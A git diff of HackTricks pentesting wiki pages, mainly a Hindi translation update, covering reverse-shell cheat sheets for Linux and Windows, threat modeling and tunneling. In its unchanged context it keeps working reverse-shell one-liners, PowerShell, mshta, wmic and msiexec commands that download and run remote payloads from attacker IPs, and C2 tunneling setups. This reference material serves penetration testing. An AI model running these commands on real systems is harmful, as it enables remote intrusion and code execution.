[https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/generic-methodologies-and-resources/reverse-shells/linux.md b/generic-methodologies-and-resources/reverse-shells/linux.md index cb375c13e..51493af3a 100644 --- a/generic-methodologies-and-resources/reverse-shells/linux.md +++ b/generic-methodologies-and-resources/reverse-shells/linux.md @@ -15,15 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -**यदि आपके पास इन शेल्स के बारे में कोई प्रश्न हैं, तो आप उन्हें** [**https://explainshell.com/**](https://explainshell.com) **पर देख सकते हैं।** +**यदि आपके पास इन शेल के बारे में कोई प्रश्न हैं, तो आप उन्हें** [**https://explainshell.com/**](https://explainshell.com) **पर देख सकते हैं।** ## Full TTY @@ -57,7 +49,7 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc 1. **`bash -i`**: इस कमांड का यह भाग एक इंटरैक्टिव (`-i`) बैश शेल शुरू करता है। 2. **`>&`**: इस कमांड का यह भाग **मानक आउटपुट** (`stdout`) और **मानक त्रुटि** (`stderr`) को **एक ही गंतव्य** पर पुनर्निर्देशित करने के लिए एक संक्षिप्त नोटेशन है। -3. **`/dev/tcp//`**: यह एक विशेष फ़ाइल है जो **निर्दिष्ट IP पते और पोर्ट के लिए एक TCP कनेक्शन का प्रतिनिधित्व करती है**। +3. **`/dev/tcp//`**: यह एक विशेष फ़ाइल है जो **निर्धारित IP पते और पोर्ट के लिए एक TCP कनेक्शन का प्रतिनिधित्व करती है**। * **आउटपुट और त्रुटि धाराओं को इस फ़ाइल पर पुनर्निर्देशित करके**, कमांड प्रभावी रूप से इंटरैक्टिव शेल सत्र का आउटपुट हमलावर की मशीन पर भेजता है। 4. **`0>&1`**: इस कमांड का यह भाग **मानक इनपुट (`stdin`) को मानक आउटपुट (`stdout`) के समान गंतव्य पर पुनर्निर्देशित करता है**। @@ -122,7 +114,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 < ``` ## gsocket -इसे [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) पर चेक करें +इसे [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) पर जांचें ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` @@ -340,12 +332,6 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new * [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) -**ट्राई हार्ड सुरक्षा समूह** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -354,9 +340,9 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें -* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें। {% endhint %} diff --git a/generic-methodologies-and-resources/reverse-shells/windows.md b/generic-methodologies-and-resources/reverse-shells/windows.md index 5bc7f5a92..3520cdbc0 100644 --- a/generic-methodologies-and-resources/reverse-shells/windows.md +++ b/generic-methodologies-and-resources/reverse-shells/windows.md @@ -15,18 +15,10 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Lolbas पृष्ठ [lolbas-project.github.io](https://lolbas-project.github.io/) Windows के लिए है जैसे [https://gtfobins.github.io/](https://gtfobins.github.io/) linux के लिए है।\ -स्पष्ट रूप से, **Windows में SUID फ़ाइलें या sudo विशेषाधिकार नहीं हैं**, लेकिन यह जानना उपयोगी है **कैसे** कुछ **बाइनरी** (ab) का उपयोग किया जा सकता है ताकि कुछ अप्रत्याशित क्रियाएँ की जा सकें जैसे **मनमाने कोड को निष्पादित करना।** +स्पष्ट रूप से, **Windows में SUID फ़ाइलें या sudo विशेषाधिकार नहीं हैं**, लेकिन यह जानना उपयोगी है **कैसे** कुछ **बाइनरी** (ab) का उपयोग करके कुछ अप्रत्याशित क्रियाएँ की जा सकती हैं जैसे **मनमाने कोड को निष्पादित करना।** ## NC ```bash @@ -102,7 +94,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` Process performing network call: **powershell.exe**\ -Payload written on disk: **नहीं** (_कम से कम मैं procmon का उपयोग करके कहीं नहीं मिला !_ ) +Payload written on disk: **नहीं** (_कम से कम मैं procmon का उपयोग करके कहीं नहीं मिला!_) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` @@ -133,7 +125,7 @@ mshta \\webdavserver\folder\payload.hta ```xml ``` -**आप बहुत आसानी से स्टेजर hta का उपयोग करके Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं** +**आप बहुत आसानी से स्टेजर hta का उपयोग करके Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं।** #### hta उदाहरण @@ -330,7 +322,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ## **Wmic** -* [यहाँ से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +* [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash wmic os get /format:"https://webserver/payload.xsl" ``` @@ -466,15 +458,15 @@ msfconsole -r unicorn.rc ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` -**Detected as malicious code** +**खतरनाक कोड के रूप में पहचाना गया** -## More +## अधिक [PS>Attack](https://github.com/jaredhaight/PSAttack) PS कंसोल कुछ आक्रामक PS मॉड्यूल के साथ प्रीलोडेड (साइफर्ड)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ WinPWN](https://github.com/SecureThisShit/WinPwn) PS कंसोल कुछ आक्रामक PS मॉड्यूल और प्रॉक्सी डिटेक्शन के साथ (IEX) -## References +## संदर्भ * [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) * [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) @@ -483,24 +475,19 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS कंसोल कुछ * [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) * [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) -​ -**Try Hard Security Group** -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} diff --git a/generic-methodologies-and-resources/threat-modeling.md b/generic-methodologies-and-resources/threat-modeling.md index 9d5d134ed..cb3065764 100644 --- a/generic-methodologies-and-resources/threat-modeling.md +++ b/generic-methodologies-and-resources/threat-modeling.md @@ -1,27 +1,112 @@ -# धमकी मॉडलिंग +# Threat Modeling -## धमकी मॉडलिंग -धमकी मॉडलिंग पर हैकट्रिक्स के व्यापक गाइड में आपका स्वागत है! साइबर सुरक्षा के इस महत्वपूर्ण पहलू की खोज करें, जहां हम सिस्टम में संभावित सुरक्षा कमजोरियों की पहचान, समझ और रणनीति बनाते हैं। यह थ्रेड एक कदम-से-कदम गाइड के रूप में काम करता है, जिसमें वास्तविक दुनिया के उदाहरण, सहायक सॉफ़्टवेयर और समझने में आसान व्याख्यानों के साथ भरी हुई है। यह नौसिखियों और अनुभवी प्रयोक्ताओं के लिए आदर्श है जो अपनी साइबर सुरक्षा संरक्षा को मजबूत करना चाहते हैं। +## Threat Modeling -### आमतौर पर उपयोग किए जाने वाले परिदृश्य +HackTricks के Threat Modeling पर व्यापक गाइड में आपका स्वागत है! साइबर सुरक्षा के इस महत्वपूर्ण पहलू की खोज में शामिल हों, जहां हम एक प्रणाली में संभावित कमजोरियों की पहचान, समझ और रणनीति बनाते हैं। यह थ्रेड वास्तविक दुनिया के उदाहरणों, सहायक सॉफ़्टवेयर और समझने में आसान व्याख्याओं के साथ एक चरण-दर-चरण गाइड के रूप में कार्य करता है। यह नवागंतुकों और अनुभवी प्रैक्टिशनरों दोनों के लिए आदर्श है जो अपनी साइबर सुरक्षा रक्षा को मजबूत करना चाहते हैं। -1. **सॉफ़्टवेयर विकास**: सुरक्षित सॉफ़्टवेयर विकास जीवन चक्र (SSDLC) का हिस्सा होने के रूप में, धमकी मॉडलिंग मदद करती है **विकास के पहले चरणों में संभावित सुरक्षा कमजोरियों की पहचान** में। -2. **पेनेट्रेशन टेस्टिंग**: पेनेट्रेशन टेस्टिंग एक्जीक्यूशन स्टैंडर्ड (PTES) फ़्रेमवर्क **धमकी मॉडलिंग को समझने के लिए आवश्यक सिस्टम की सुरक्षा कमजोरियों** की पहचान करने के पहले करने की आवश्यकता होती है। +### Commonly Used Scenarios -### एक अंडाकार में धमकी मॉडल +1. **Software Development**: Secure Software Development Life Cycle (SSDLC) के हिस्से के रूप में, थ्रेट मॉडलिंग विकास के प्रारंभिक चरणों में **संभावित कमजोरियों के स्रोतों की पहचान** में मदद करती है। +2. **Penetration Testing**: Penetration Testing Execution Standard (PTES) ढांचा **थ्रेट मॉडलिंग की आवश्यकता करता है ताकि प्रणाली की कमजोरियों को समझा जा सके** परीक्षण करने से पहले। -धमकी मॉडल आमतौर पर एक आरेख, छवि या किसी अन्य रूप में प्रस्तुत किया जाता है जो एक एप्लिकेशन की योजनित आर्किटेक्चर या मौजूदा बिल्ड को दर्शाता है। यह एक **डेटा फ्लो आरेख** की तरह दिखता है, लेकिन इसकी सुरक्षा-ओरिएंटेड डिज़ाइन में मुख्य भिन्नता होती है। +### Threat Model in a Nutshell -धमकी मॉडल में अक्सर लाल रंग में चिह्नित तत्व शामिल होते हैं, जो संभावित सुरक्षा कमजोरियों, जोखिमों या बाधाओं की प्रतीक्षा करते हैं। जोखिम पहचान की प्रक्रिया को सुगम बनाने के लिए, सीआईए (गोपनीयता, सत्यापन, उपलब्धता) त्रिकोण इस्तेमाल किया जाता है, जो कई धमकी मॉडलिंग मेथडोलॉजीज़ का आधार बनाता है, जिसमें स्ट्राइड सबसे सामान्य है। हालांकि, विशेष संदर्भ और आवश्यकताओं पर निर्भर करता है कि चुनी गई मेथडोलॉजी कौन सी होगी। +एक थ्रेट मॉडल आमतौर पर एक आरेख, छवि, या किसी अन्य दृश्य चित्रण के रूप में प्रस्तुत किया जाता है जो एक एप्लिकेशन की योजनाबद्ध आर्किटेक्चर या मौजूदा निर्माण को दर्शाता है। यह **डेटा फ्लो आरेख** के समान होता है, लेकिन इसकी सुरक्षा-उन्मुख डिज़ाइन में मुख्य भिन्नता होती है। -### सीआईए त्रिकोण +थ्रेट मॉडल अक्सर लाल रंग में चिह्नित तत्वों को प्रदर्शित करते हैं, जो संभावित कमजोरियों, जोखिमों या बाधाओं का प्रतीक होते हैं। जोखिम पहचान की प्रक्रिया को सरल बनाने के लिए, CIA (Confidentiality, Integrity, Availability) त्रिकोण का उपयोग किया जाता है, जो कई थ्रेट मॉडलिंग पद्धतियों का आधार बनाता है, जिसमें STRIDE सबसे सामान्य है। हालाँकि, चुनी गई पद्धति विशिष्ट संदर्भ और आवश्यकताओं के आधार पर भिन्न हो सकती है। -सीआईए त्रिकोण सूचना सुरक्षा के क्षेत्र में एक व्यापक मान्यता प्राप्त मॉडल है, जो गोपनीयता, सत्यापन और उपलब्धता के लिए खड़ा है। ये तीन स्तंभ उन बहुत सारे सुरक्षा उपायों और नीतियों की नींव हैं, जिनमें धमकी मॉडलिंग मेथडोलॉजीज़ भी शामिल हैं। +### The CIA Triad -1. **गोपनीयता**: यह सुनिश्चित करना है कि अनधिकृत व्यक्तियों द्वारा डेटा या सिस्टम तक पहुंच न हो। यह सुरक्षा का एक मुख्य पहलू है, जिसमें उचित पहुंच नियंत्रण, एन्क्रिप्शन और अन्य उपाय शामिल होते हैं ताकि डेटा लीकेज़ से बचा जा सके। -2. **सत्यापन**: डेटा की सटीकता, संगतता और विश्वसनीयता उसके जीवनकाल में। यह सिद्धांत सुनिश्चित करता है कि अनधिकृत पक्षों द्वारा डेटा में कोई परिवर्तन नहीं किया जाता है या नहीं किया जाता है। इसमें चेकसम्स, हैशिंग और अन्य डेटा सत्यापन विधियाँ शामिल होती हैं। -3. **उपलब्धता**: यह सुनिश्चित करता है कि जब आवश्यक हो, तो डेटा और सेवाएं अधिकृत उपयोगकर -### [माइक्रोसॉफ्ट थ्रेट मॉडलिंग टूल](https://aka.ms/threatmodelingtool) +CIA त्रिकोण सूचना सुरक्षा के क्षेत्र में एक व्यापक रूप से मान्यता प्राप्त मॉडल है, जो Confidentiality, Integrity, और Availability के लिए खड़ा है। ये तीन स्तंभ कई सुरक्षा उपायों और नीतियों की नींव बनाते हैं, जिसमें थ्रेट मॉडलिंग पद्धतियाँ शामिल हैं। -यह माइक्रोसॉफ्ट का एक मुफ्त टूल है जो सॉफ्टवेयर परियोजनाओं के डिज़ाइन चरण में खतरों का पता लगाने में मदद करता है। यह STRIDE मेथडोलॉजी का उपयोग करता है और विशेष रूप से माइक्रोसॉफ्ट के स्टैक पर विकसित करने वालों के लिए उपयुक्त है। +1. **Confidentiality**: यह सुनिश्चित करना कि डेटा या प्रणाली को अनधिकृत व्यक्तियों द्वारा एक्सेस नहीं किया जा सके। यह सुरक्षा का एक केंद्रीय पहलू है, जिसमें डेटा उल्लंघनों को रोकने के लिए उचित एक्सेस नियंत्रण, एन्क्रिप्शन, और अन्य उपायों की आवश्यकता होती है। +2. **Integrity**: डेटा के जीवन चक्र के दौरान सटीकता, स्थिरता, और विश्वसनीयता। यह सिद्धांत सुनिश्चित करता है कि डेटा को अनधिकृत पक्षों द्वारा परिवर्तित या छेड़छाड़ नहीं किया गया है। इसमें अक्सर चेकसम, हैशिंग, और अन्य डेटा सत्यापन विधियाँ शामिल होती हैं। +3. **Availability**: यह सुनिश्चित करता है कि डेटा और सेवाएँ आवश्यकतानुसार अधिकृत उपयोगकर्ताओं के लिए सुलभ हैं। इसमें अक्सर प्रणाली को बाधाओं के बावजूद चलाने के लिए पुनरावृत्ति, दोष सहिष्णुता, और उच्च उपलब्धता कॉन्फ़िगरेशन शामिल होते हैं। + +### Threat Modeling Methodlogies + +1. **STRIDE**: Microsoft द्वारा विकसित, STRIDE **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, और Elevation of Privilege** के लिए एक संक्षिप्त नाम है। प्रत्येक श्रेणी एक प्रकार के खतरे का प्रतिनिधित्व करती है, और यह पद्धति एक कार्यक्रम या प्रणाली के डिज़ाइन चरण में संभावित खतरों की पहचान के लिए सामान्यतः उपयोग की जाती है। +2. **DREAD**: यह Microsoft की एक और पद्धति है जो पहचाने गए खतरों के जोखिम मूल्यांकन के लिए उपयोग की जाती है। DREAD का अर्थ है **Damage potential, Reproducibility, Exploitability, Affected users, और Discoverability**। इनमें से प्रत्येक कारक को स्कोर किया जाता है, और परिणाम का उपयोग पहचाने गए खतरों को प्राथमिकता देने के लिए किया जाता है। +3. **PASTA** (Process for Attack Simulation and Threat Analysis): यह एक सात-चरणीय, **जोखिम-केंद्रित** पद्धति है। इसमें सुरक्षा उद्देश्यों को परिभाषित और पहचानना, तकनीकी दायरा बनाना, एप्लिकेशन विघटन, खतरे का विश्लेषण, कमजोरियों का विश्लेषण, और जोखिम/ट्रायज मूल्यांकन शामिल है। +4. **Trike**: यह एक जोखिम-आधारित पद्धति है जो संपत्तियों की रक्षा पर ध्यान केंद्रित करती है। यह **जोखिम प्रबंधन** के दृष्टिकोण से शुरू होती है और उस संदर्भ में खतरों और कमजोरियों को देखती है। +5. **VAST** (Visual, Agile, and Simple Threat modeling): यह दृष्टिकोण अधिक सुलभ होने का लक्ष्य रखता है और Agile विकास वातावरण में एकीकृत होता है। यह अन्य पद्धतियों के तत्वों को संयोजित करता है और **खतरों के दृश्य प्रतिनिधित्व** पर ध्यान केंद्रित करता है। +6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): CERT Coordination Center द्वारा विकसित, यह ढांचा **विशिष्ट प्रणालियों या सॉफ़्टवेयर के बजाय संगठनात्मक जोखिम मूल्यांकन** की ओर केंद्रित है। + +## Tools + +थ्रेट मॉडल बनाने और प्रबंधित करने में मदद करने के लिए कई उपकरण और सॉफ़्टवेयर समाधान उपलब्ध हैं। यहाँ कुछ हैं जिन्हें आप विचार कर सकते हैं। + +### [SpiderSuite](https://github.com/3nock/SpiderSuite) + +साइबर सुरक्षा पेशेवरों के लिए एक उन्नत क्रॉस-प्लेटफ़ॉर्म और मल्टी-फीचर GUI वेब स्पाइडर/क्रॉलर। स्पाइडर सूट का उपयोग हमले की सतह के मानचित्रण और विश्लेषण के लिए किया जा सकता है। + +**Usage** + +1. एक URL चुनें और क्रॉल करें + +
+ +2. ग्राफ़ देखें + +
+ +### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) + +OWASP से एक ओपन-सोर्स प्रोजेक्ट, थ्रेट ड्रैगन एक वेब और डेस्कटॉप एप्लिकेशन है जिसमें सिस्टम आरेखण के साथ-साथ स्वचालित रूप से खतरों/निवारणों को उत्पन्न करने के लिए एक नियम इंजन शामिल है। + +**Usage** + +1. नया प्रोजेक्ट बनाएं + +
+ +कभी-कभी यह इस तरह दिख सकता है: + +
+ +2. नया प्रोजेक्ट लॉन्च करें + +
+ +3. नए प्रोजेक्ट को सहेजें + +
+ +4. अपना मॉडल बनाएं + +आप स्पाइडर सूट क्रॉलर जैसे उपकरणों का उपयोग कर सकते हैं ताकि आपको प्रेरणा मिल सके, एक बुनियादी मॉडल कुछ इस तरह दिखेगा + +
+ +संस्थाओं के बारे में थोड़ी व्याख्या: + +* प्रक्रिया (जैसे वेब सर्वर या वेब कार्यक्षमता जैसी इकाई) +* अभिनेता (एक व्यक्ति जैसे वेबसाइट विज़िटर, उपयोगकर्ता या प्रशासक) +* डेटा फ्लो लाइन (इंटरएक्शन का संकेत) +* ट्रस्ट बाउंडरी (विभिन्न नेटवर्क खंड या दायरे।) +* स्टोर (वे चीजें जहां डेटा संग्रहीत होते हैं जैसे डेटाबेस) + +5. एक खतरा बनाएं (चरण 1) + +पहले आपको उस परत का चयन करना होगा जिसमें आप एक खतरा जोड़ना चाहते हैं + +
+ +अब आप खतरा बना सकते हैं + +
+ +ध्यान रखें कि अभिनेता खतरों और प्रक्रिया खतरों के बीच एक अंतर है। यदि आप एक अभिनेता को खतरा जोड़ते हैं तो आप केवल "Spoofing" और "Repudiation" चुनने में सक्षम होंगे। हालाँकि, हमारे उदाहरण में हम एक प्रक्रिया इकाई को खतरा जोड़ते हैं इसलिए हम खतरा निर्माण बॉक्स में यह देखेंगे: + +
+ +6. पूरा + +अब आपका पूरा मॉडल कुछ इस तरह दिखना चाहिए। और इस तरह आप OWASP Threat Dragon के साथ एक सरल थ्रेट मॉडल बनाते हैं। + +
+ +### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) + +यह Microsoft का एक मुफ्त उपकरण है जो सॉफ़्टवेयर परियोजनाओं के डिज़ाइन चरण में खतरों को खोजने में मदद करता है। यह STRIDE पद्धति का उपयोग करता है और विशेष रूप से उन लोगों के लिए उपयुक्त है जो Microsoft के स्टैक पर विकास कर रहे हैं। diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md index dfb80a4ba..ca76b6054 100644 --- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md +++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md @@ -1,32 +1,24 @@ # Tunneling and Port Forwarding {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## Nmap tip +## Nmap टिप {% hint style="warning" %} -**ICMP** और **SYN** स्कैन को सॉक्स प्रॉक्सी के माध्यम से टनल नहीं किया जा सकता, इसलिए हमें **पिंग डिस्कवरी** (`-Pn`) को **अक्षम** करना होगा और इसके लिए **TCP स्कैन** (`-sT`) निर्दिष्ट करना होगा। +**ICMP** और **SYN** स्कैन को सॉक्स प्रॉक्सी के माध्यम से टनल नहीं किया जा सकता, इसलिए हमें **पिंग डिस्कवरी** को **अक्षम** करना होगा (`-Pn`) और इसके काम करने के लिए **TCP स्कैन** (`-sT`) निर्दिष्ट करना होगा। {% endhint %} ## **Bash** @@ -177,9 +169,9 @@ To note: - Beacon का रिवर्स पोर्ट फॉरवर्ड **टीम सर्वर के लिए ट्रैफ़िक टनल करने के लिए डिज़ाइन किया गया है, व्यक्तिगत मशीनों के बीच रिले करने के लिए नहीं**। - ट्रैफ़िक **बीकन के C2 ट्रैफ़िक के भीतर टनल किया जाता है**, जिसमें P2P लिंक शामिल हैं। -- **उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए प्रशासनिक विशेषाधिकार की आवश्यकता नहीं है**। +- **रिवर्स पोर्ट फॉरवर्ड बनाने के लिए एडमिन विशेषाधिकार की आवश्यकता नहीं है** उच्च पोर्ट पर। -### rPort2Port स्थानीय +### rPort2Port local {% hint style="warning" %} इस मामले में, **पोर्ट बीकन होस्ट में खोला जाता है**, टीम सर्वर में नहीं और **ट्रैफ़िक को कोबाल्ट स्ट्राइक क्लाइंट** (टीम सर्वर को नहीं) पर भेजा जाता है और वहां से निर्दिष्ट होस्ट:पोर्ट पर भेजा जाता है। @@ -199,7 +191,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t ## Chisel आप इसे [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) के रिलीज़ पृष्ठ से डाउनलोड कर सकते हैं।\ -आपको **क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा** +आपको **क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा।** ### socks ```bash @@ -336,9 +328,9 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -अब हम **RDP** के माध्यम से **victim** से **`mstsc.exe`** का उपयोग करके **connect** कर सकते हैं, और हमें एक **prompt** प्राप्त होना चाहिए जिसमें कहा गया है कि **SocksOverRDP plugin is enabled**, और यह **127.0.0.1:1080** पर **listen** करेगा। +अब हम **RDP** के माध्यम से **victim** से **`mstsc.exe`** का उपयोग करके **connect** कर सकते हैं, और हमें एक **prompt** प्राप्त होना चाहिए जिसमें कहा गया है कि **SocksOverRDP plugin is enabled**, और यह 